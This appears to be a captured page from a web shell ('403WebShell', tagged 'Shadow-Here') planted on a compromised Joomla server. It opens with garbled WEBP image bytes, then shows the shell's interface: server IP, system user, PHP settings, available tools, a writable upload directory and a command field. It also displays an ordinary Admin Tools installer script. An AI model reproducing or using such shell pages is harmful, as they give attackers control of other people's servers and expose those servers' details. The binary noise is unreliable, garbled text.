....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 195.3.193.33  /  Your IP : 216.73.216.125
Web Server : Apache
System : Linux server3 5.10.0-35-amd64 #1 SMP Debian 5.10.237-1 (2025-05-19) x86_64
User : web032 ( 1035)
PHP Version : 7.3.33
Disable Function : show_source, highlight_file, apache_child_terminate, apache_get_modules, apache_note, apache_setenv, virtual, dl, disk_total_space, posix_getpwnam, posix_getpwuid, posix_mkfifo, posix_mknod, posix_setpgid, posix_setsid, posix_setuid, posix_uname, proc_nice, openlog, syslog, pfsockopen
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/web032/htdocs/cms/administrator/components/com_admintools/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/web032/htdocs/cms/administrator/components/com_admintools/script.com_admintools.php
<?php
/**
 * @package   admintools
 * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

// Protect from unauthorized access
defined('_JEXEC') || die();

use Akeeba\AdminTools\Admin\Helper\Storage;
use Akeeba\AdminTools\Admin\Model\ConfigureWAF;
use Akeeba\AdminTools\Admin\Model\Stats;
use FOF40\Container\Container;
use Joomla\CMS\Factory;
use Joomla\CMS\Filesystem\Folder;
use Joomla\CMS\Installer\Adapter\ComponentAdapter;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\CMS\Table\Table;
use Joomla\Registry\Registry;

// Load FOF if not already loaded
if (!defined('FOF40_INCLUDED') && !@include_once(JPATH_LIBRARIES . '/fof40/include.php'))
{
	throw new RuntimeException('This extension requires FOF 4.');
}

class Com_AdmintoolsInstallerScript extends \FOF40\InstallScript\Component
{
	/**
	 * The component's name
	 *
	 * @var   string
	 */
	public $componentName = 'com_admintools';

	/**
	 * The title of the component (printed on installation and uninstallation messages)
	 *
	 * @var string
	 */
	protected $componentTitle = 'Admin Tools';

	/**
	 * The minimum PHP version required to install this extension
	 *
	 * @var   string
	 */
	protected $minimumPHPVersion = '7.2.0';

	/**
	 * The minimum Joomla! version required to install this extension
	 *
	 * @var   string
	 */
	protected $minimumJoomlaVersion = '3.9.0';

	/**
	 * The maximum Joomla! version this extension can be installed on
	 *
	 * @var   string
	 */
	protected $maximumJoomlaVersion = '4.0.999';

	/**
	 * Obsolete files and folders to remove from the free version only. This is used when you move a feature from the
	 * free version of your extension to its paid version. If you don't have such a distinction you can ignore this.
	 *
	 * @var   array
	 */
	protected $removeFilesFree = [
		'files'   => [
			// Pro WAF features
			'plugins/system/admintools/feature/apache401.php',
			'plugins/system/admintools/feature/autoipfiltering.php',
			'plugins/system/admintools/feature/awayschedule.php',
			'plugins/system/admintools/feature/badwords.php',
			'plugins/system/admintools/feature/blockemaildomains.php',
			'plugins/system/admintools/feature/cachecleaner.php',
			'plugins/system/admintools/feature/cacheexpire.php',
			'plugins/system/admintools/feature/cleantemp.php',
			'plugins/system/admintools/feature/configmonitor.php',
			'plugins/system/admintools/feature/consolewarn.php',
			'plugins/system/admintools/feature/criticalfiles.php',
			'plugins/system/admintools/feature/criticalfilesglobal.php',
			'plugins/system/admintools/feature/csrfshield.php',
			'plugins/system/admintools/feature/customblock.php',
			'plugins/system/admintools/feature/customgenerator.php',
			'plugins/system/admintools/feature/deleteinactive.php',
			'plugins/system/admintools/feature/dfishield.php',
			'plugins/system/admintools/feature/disableobsoleteadmins.php',
			'plugins/system/admintools/feature/emailfailedadminlong.php',
			'plugins/system/admintools/feature/emailonlogin.php',
			'plugins/system/admintools/feature/emailphpexceptions.php',
			'plugins/system/admintools/feature/geoblock.php',
			'plugins/system/admintools/feature/ipblacklist.php',
			'plugins/system/admintools/feature/ipwhitelist.php',
			'plugins/system/admintools/feature/leakedpwd.php',
			'plugins/system/admintools/feature/muashield.php',
			'plugins/system/admintools/feature/nofesalogin.php',
			'plugins/system/admintools/feature/nonewadmins.php',
			'plugins/system/admintools/feature/phpshield.php',
			'plugins/system/admintools/feature/projecthoneypot.php',
			'plugins/system/admintools/feature/quickstart.php',
			'plugins/system/admintools/feature/removeoldlog.php',
			'plugins/system/admintools/feature/resetjoomlatfa.php',
			'plugins/system/admintools/feature/rfishield.php',
			'plugins/system/admintools/feature/saveusersignupip.php',
			'plugins/system/admintools/feature/secretword.php',
			'plugins/system/admintools/feature/selfprotect.php',
			'plugins/system/admintools/feature/sessioncleaner.php',
			'plugins/system/admintools/feature/sessionoptimiser.php',
			'plugins/system/admintools/feature/sessionshield.php',
			'plugins/system/admintools/feature/shield404.php',
			'plugins/system/admintools/feature/sqlishield.php',
			'plugins/system/admintools/feature/superuserslist.php',
			'plugins/system/admintools/feature/templateswitch.php',
			'plugins/system/admintools/feature/tempsuperuser.php',
			'plugins/system/admintools/feature/thirdpartyexception.php',
			'plugins/system/admintools/feature/tmplswitch.php',
			'plugins/system/admintools/feature/trackfailedlogins.php',
			'plugins/system/admintools/feature/uploadshield.php',
			'plugins/system/admintools/feature/wafblacklist.php',

			// Pro features
			'administrator/components/com_admintools/Controller/AutoBannedAddress.php',
			'administrator/components/com_admintools/Controller/AutoBannedAddresses.php',
			'administrator/components/com_admintools/Controller/BadWord.php',
			'administrator/components/com_admintools/Controller/BadWords.php',
			'administrator/components/com_admintools/Controller/BlacklistedAddress.php',
			'administrator/components/com_admintools/Controller/BlacklistedAddresses.php',
			'administrator/components/com_admintools/Controller/ConfigureWAF.php',
			'administrator/components/com_admintools/Controller/ExceptionsFromWAF.php',
			'administrator/components/com_admintools/Controller/GeographicBlocking.php',
			'administrator/components/com_admintools/Controller/HtaccessMaker.php',
			'administrator/components/com_admintools/Controller/ImportAndExport.php',
			'administrator/components/com_admintools/Controller/IPAutoBanHistories.php',
			'administrator/components/com_admintools/Controller/IPAutoBanHistory.php',
			'administrator/components/com_admintools/Controller/NginXConfMaker.php',
			'administrator/components/com_admintools/Controller/QuickStart.php',
			'administrator/components/com_admintools/Controller/Scan.php',
			'administrator/components/com_admintools/Controller/ScanAlert.php',
			'administrator/components/com_admintools/Controller/ScanAlerts.php',
			'administrator/components/com_admintools/Controller/Scans.php',
			'administrator/components/com_admintools/Controller/SchedulingInformation.php',
			'administrator/components/com_admintools/Controller/SecurityException.php',
			'administrator/components/com_admintools/Controller/SecurityExceptions.php',
			'administrator/components/com_admintools/Controller/ServerConfigMaker.php',
			'administrator/components/com_admintools/Controller/WAFBlacklistedRequest.php',
			'administrator/components/com_admintools/Controller/WAFBlacklistedRequests.php',
			'administrator/components/com_admintools/Controller/WAFEmailTemplate.php',
			'administrator/components/com_admintools/Controller/WAFEmailTemplates.php',
			'administrator/components/com_admintools/Controller/WebApplicationFirewall.php',
			'administrator/components/com_admintools/Controller/WebConfigMaker.php',
			'administrator/components/com_admintools/Controller/WhitelistedAddress.php',
			'administrator/components/com_admintools/Controller/WhitelistedAddresses.php',

			'administrator/components/com_admintools/Model/AutoBannedAddresses.php',
			'administrator/components/com_admintools/Model/BadWords.php',
			'administrator/components/com_admintools/Model/BlacklistedAddresses.php',
			'administrator/components/com_admintools/Model/ConfigureWAF.php',
			'administrator/components/com_admintools/Model/ExceptionsFromWAF.php',
			'administrator/components/com_admintools/Model/GeographicBlocking.php',
			'administrator/components/com_admintools/Model/HtaccessMaker.php',
			'administrator/components/com_admintools/Model/ImportAndExport.php',
			'administrator/components/com_admintools/Model/IPAutoBanHistories.php',
			'administrator/components/com_admintools/Model/NginXConfMaker.php',
			'administrator/components/com_admintools/Model/QuickStart.php',
			'administrator/components/com_admintools/Model/ScanAlerts.php',
			'administrator/components/com_admintools/Model/Scans.php',
			'administrator/components/com_admintools/Model/SchedulingInformation.php',
			'administrator/components/com_admintools/Model/SecurityExceptions.php',
			'administrator/components/com_admintools/Model/ServerConfigMaker.php',
			'administrator/components/com_admintools/Model/WAFBlacklistedRequests.php',
			'administrator/components/com_admintools/Model/WAFEmailTemplates.php',
			'administrator/components/com_admintools/Model/WebApplicationFirewall.php',
			'administrator/components/com_admintools/Model/WebConfigMaker.php',
			'administrator/components/com_admintools/Model/WhitelistedAddresses.php',

			// CLI scripts
			'cli/admintools-dbrepair.php',
			'cli/admintools-filescanner.php',
		],
		'folders' => [
			// CLI common files
			'administrator/components/com_admintools/assets/cli',

			// Pro features
			'administrator/components/com_admintools/Model/Scanner',

			'administrator/components/com_admintools/tmpl/AutoBannedAddresses',
			'administrator/components/com_admintools/tmpl/BadWords',
			'administrator/components/com_admintools/tmpl/BlacklistedAddresses',
			'administrator/components/com_admintools/tmpl/ConfigureWAF',
			'administrator/components/com_admintools/tmpl/ExceptionsFromWAF',
			'administrator/components/com_admintools/tmpl/GeographicBlocking',
			'administrator/components/com_admintools/tmpl/HtaccessMaker',
			'administrator/components/com_admintools/tmpl/ImportAndExport',
			'administrator/components/com_admintools/tmpl/IPAutoBanHistories',
			'administrator/components/com_admintools/tmpl/NginXConfMaker',
			'administrator/components/com_admintools/tmpl/QuickStart',
			'administrator/components/com_admintools/tmpl/ScanAlerts',
			'administrator/components/com_admintools/tmpl/Scans',
			'administrator/components/com_admintools/tmpl/SchedulingInformation',
			'administrator/components/com_admintools/tmpl/SecurityExceptions',
			'administrator/components/com_admintools/tmpl/WAFBlacklistedRequests',
			'administrator/components/com_admintools/tmpl/WAFEmailTemplates',
			'administrator/components/com_admintools/tmpl/WebApplicationFirewall',
			'administrator/components/com_admintools/tmpl/WebConfigMaker',
			'administrator/components/com_admintools/tmpl/WhitelistedAddresses',

			// Frontend pro features
			'components/com_admintools/Controller',
			'components/com_admintools/Model',
			'components/com_admintools/View',
		],
	];

	/**
	 * Obsolete files and folders to remove from both paid and free releases. This is used when you refactor code and
	 * some files inevitably become obsolete and need to be removed.
	 *
	 * @var   array
	 */
	protected $removeFilesAllVersions = [
		'files'   => [
			// Obsolete CLI scripts
			'cli/admintools-update.php',

			// Old cached updates from Live Update
			'cache/com_admintools.updates.php',
			'cache/com_admintools.updates.ini',

			'administrator/cache/com_admintools.updates.php',
			'administrator/cache/com_admintools.updates.ini',

			// Obsolete files
			'administrator/components/com_admintools/restore.php',
			'administrator/components/com_admintools/dispatcher.php',
			'administrator/components/com_admintools/toolbar.php',

			'components/com_admintools/dispatcher.php',

			'components/com_admintools/Helper/Plugin.php',

			// PLUGIN "System - Admin Tools"

			// -- CSS/JS Combination
			'plugins/system/admintools/admintools/cssmin.php',

			// -- obsolete files
			'plugins/system/admintools/admintools/pro.php',
			'plugins/system/admintools/admintools/core.php',

			// -- removed features
			'plugins/system/admintools/feature/twofactorauth.php',
			'plugins/system/admintools/feature/xssshield.php',
			// ...because some people have never updated to 3.6, apparently?!
			'plugins/system/admintools/feature/blockinstall.php',

			// Moving to FEF
			'administrator/components/com_admintools/Helper/Coloriser.php',
			'administrator/components/com_admintools/View/ScanAlerts/Form.php',
			'administrator/components/com_admintools/View/Scans/Form.php',
			'administrator/components/com_admintools/View/WAFEmailTemplates/Form.php',
			'administrator/components/com_admintools/View/IPAutoBanHistories/Form.php',
			'administrator/components/com_admintools/View/AutoBannedAddresses/Form.php',
			'administrator/components/com_admintools/View/ExceptionsFromWAF/Form.php',
			'administrator/components/com_admintools/View/WAFBlacklistedRequests/Form.php',
			'administrator/components/com_admintools/View/WhitelistedAddresses/Form.php',
			'administrator/components/com_admintools/View/SecurityExceptions/Form.php',
			'administrator/components/com_admintools/View/BadWords/Form.php',
			'administrator/components/com_admintools/View/BlacklistedAddresses/Form.php',
			'administrator/components/com_admintools/View/Redirections/Form.php',

			// Replace jQplot with Chart.js
			'administrator/components/com_admintools/media/css/jquery.jqplot.min.css',
			'administrator/components/com_admintools/media/js/jquery.jqplot.min.js',
			'administrator/components/com_admintools/media/js/jqplot.highlighter.min.js',
			'administrator/components/com_admintools/media/js/jqplot.dateAxisRenderer.min.js',
			'administrator/components/com_admintools/media/js/jqplot.barRenderer.min.js',
			'administrator/components/com_admintools/media/js/jqplot.pieRenderer.min.js',
			'administrator/components/com_admintools/media/js/jqplot.hermite.min.js',

			// Obsolete eAccelerator warning
			"administrator/components/com_admintools/View/eaccelerator.php",

			// Refactored PHP File Change Scanner
			'administrator/components/com_admintools/Controller/Scanner.php',
			'administrator/components/com_admintools/Model/Scanner.php',

			// Removed Geographic IP blocking
			'administrator/components/com_admintools/Controller/GeographicBlocking.php',
			'administrator/components/com_admintools/Model/GeographicBlocking.php',
			'plugins/system/admintools/feature/geoblock.php',

			// Changelog PNG images
			'administrator/components/com_admintools/media/icons/changelog.png',

			// Moving to FEF 2
			'administrator/components/com_admintools/media/js/namespace.min.js',
			'administrator/components/com_admintools/media/js/namespace.min.map',
			'administrator/components/com_admintools/media/js/Modal.min.js',
			'administrator/components/com_admintools/media/js/Modal.min.map',
			'administrator/components/com_admintools/media/js/Tooltip.min.js',
			'administrator/components/com_admintools/media/js/Tooltip.min.map',
			'administrator/components/com_admintools/media/js/cpanelgraphs.min.js',
			'administrator/components/com_admintools/media/js/cpanelgraphs.min.map',

			// Update Charts.js
			'administrator/components/com_admintools/media/js/Chart.bundle.min.js',
		],
		'folders' => [
			// Obsolete folders from AT 1.x, 2.x and 3.x
			'administrator/components/com_admintools/akeeba',
			'administrator/components/com_admintools/classes',
			'administrator/components/com_admintools/controllers',
			'administrator/components/com_admintools/helpers',
			'administrator/components/com_admintools/models',
			'administrator/components/com_admintools/tables',
			'administrator/components/com_admintools/views',
			'administrator/components/com_admintools/fof',

			'components/com_admintools/controllers',
			'components/com_admintools/views',

			// Bad behaviour integration
			'plugins/system/admintools/admintools/badbehaviour',

			// Public media directory (moved to administrator)
			'media/com_admintools',

			// Moving to FEF
			'administrator/components/com_admintools/Form',
			'administrator/components/com_admintools/media/images',

			// Common tables (they're installed by FOF)
			'administrator/components/com_admintools/sql/common',

			// Refactored PHP File Change Scanner
			'administrator/components/com_admintools/engine',
			'administrator/components/com_admintools/platform',
			'administrator/components/com_admintools/View/Scanner',

			// Old CLI base script, replaced by FOF's base CLI script
			'administrator/components/com_admintools/assets/cli',

			// Removed Geographic IP blocking
			'administrator/components/com_admintools/View/GeographicBlocking',

			// Moving to FOF 4 and Blade views
			'administrator/components/com_admintools/View/AdminPassword/tmpl',
			'administrator/components/com_admintools/View/AutoBannedAddresses/tmpl',
			'administrator/components/com_admintools/View/BadWords/tmpl',
			'administrator/components/com_admintools/View/BlacklistedAddresses/tmpl',
			'administrator/components/com_admintools/View/ChangeDBCollation/tmpl',
			'administrator/components/com_admintools/View/CheckTempAndLogDirectories/tmpl',
			'administrator/components/com_admintools/View/CleanTempDirectory/tmpl',
			'administrator/components/com_admintools/View/ConfigureFixPermissions/tmpl',
			'administrator/components/com_admintools/View/ConfigureWAF/tmpl',
			'administrator/components/com_admintools/View/ControlPanel/tmpl',
			'administrator/components/com_admintools/View/DatabaseTools/tmpl',
			'administrator/components/com_admintools/View/EmergencyOffline/tmpl',
			'administrator/components/com_admintools/View/ExceptionsFromWAF/tmpl',
			'administrator/components/com_admintools/View/FixPermissions/tmpl',
			'administrator/components/com_admintools/View/HtaccessMaker/tmpl',
			'administrator/components/com_admintools/View/IPAutoBanHistories/tmpl',
			'administrator/components/com_admintools/View/ImportAndExport/tmpl',
			'administrator/components/com_admintools/View/MasterPassword/tmpl',
			'administrator/components/com_admintools/View/NginXConfMaker/tmpl',
